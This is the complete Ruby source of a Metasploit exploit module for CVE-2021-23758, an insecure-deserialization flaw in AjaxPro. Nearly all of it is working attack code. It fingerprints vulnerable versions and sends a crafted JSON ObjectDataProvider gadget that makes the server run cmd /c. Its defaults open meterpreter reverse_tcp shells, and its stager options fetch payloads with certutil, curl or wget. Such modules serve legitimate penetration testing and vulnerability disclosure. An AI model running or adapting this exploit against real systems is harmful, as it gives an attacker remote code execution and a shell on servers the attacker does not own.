AjaxPro Deserialization Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'AjaxPro Deserialization Remote Code Execution',        'Description' => %q{          This module leverages an insecure deserialization of data to get          remote code execution on the target OS in the context of the user          running the website which utilized AjaxPro.          To achieve code execution, the module will construct some JSON data          which will be sent to the target. This data will be deserialized by          the AjaxPro JsonDeserializer and will trigger the execution of the          payload.          All AjaxPro versions prior to 21.10.30.1 are vulnerable to this          issue, and a vulnerable method which can be used to trigger the          deserialization exists in the default AjaxPro namespace.          AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom          method that accepts a parameter of type that is assignable from          `ObjectDataProvider` (e.g. `object`) exists, the vulnerability can          still be exploited.          This module has been tested successfully against official AjaxPro on          version 7.7.31.1 without any modification, and on version 21.10.30.1          with a custom vulnerable method added.        },        'Author' => [          'Hans-Martin Münch (MOGWAI LABS)', # Discovery          'Jemmy Wang' # MSF Module        ],        'References' => [          ['CVE', '2021-23758'],          ['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']        ],        'DisclosureDate' => '2021-12-03',        'License' => MSF_LICENSE,        'Platform' => ['windows'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => false,        'Targets' => [          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :win_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :win_dropper,              'DefaultOptions' => {                'PAYLOAD' => 'windows/meterpreter/reverse_tcp',                'CMDSTAGER::FLAVOR' => 'certutil'              },              'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]            }          ],        ],        'DefaultOptions' => { 'WfsDelay' => 30 },        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),      OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),      OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),      OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])    ])    @ajax_pro = { ID: 'AjaxPro' }  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'core.ashx'),      'keep_cookies' => true    )    unless res      return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")    end    unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')      return CheckCode::Safe('Is not AjaxPro?')    end    unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)      return CheckCode::Detected('Failed to get AjaxPro ID.')    end    @ajax_pro[:ID] = cap[0]    unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)      return CheckCode::Detected('Failed to get AjaxPro version.')    end    @ajax_pro[:version] = cap[0]    if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')      return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")    end    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),      'keep_cookies' => true    )    unless res      return CheckCode::Appears('Failed to check if the target method exists.')    end    unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)      return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")    end    CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")  end  def execute_command(cmd, _opts = {})    vprint_status("Executing command: #{cmd}")    json_post_data = JSON.generate(      {        "#{datastore['Parameter']}": {          __type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',          MethodName: 'Start',          ObjectInstance: {            __type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',            StartInfo: {              __type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',              FileName: 'cmd',              Arguments: "/c #{cmd}"            }          }        }      }    )    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),      'ctype' => 'text/plain; charset=utf-8',      'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },      'data' => json_post_data    })    unless res      fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")    end    unless res.code == 200      fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")    end  end  def exploit    case target['Type']    when :win_cmd      execute_command(payload.encoded)    when :win_dropper      execute_cmdstager(background: true, delay: 1)    end  endend